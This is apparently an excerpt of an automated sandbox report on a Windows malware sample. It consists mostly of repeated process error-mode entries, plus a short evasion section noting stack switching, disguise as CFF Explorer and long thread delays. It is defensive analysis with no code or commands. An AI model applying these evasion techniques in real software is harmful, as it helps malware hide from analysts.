Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	API/Special instruction interceptor: Address: 7FFDB442D044
Source: C:\Windows\SysWOW64\fontdrvhost.exe	API/Special instruction interceptor: Address: 7FFDB442D044
Source: C:\Windows\SysWOW64\fontdrvhost.exe	API/Special instruction interceptor: Address: 58CB83A

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000002.3118188170.0000000002B45000.00000040.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000002.3121755507.00000000049D9000.00000040.00001000.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3125257943.0000000002C79000.00000040.00000400.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3118219318.0000000002C79000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000002.3118188170.0000000002B45000.00000040.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000002.3121755507.00000000049D9000.00000040.00001000.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3125257943.0000000002C79000.00000040.00000400.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3118219318.0000000002C79000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592842
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592714
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592596
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592455
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592327
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592205
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592089
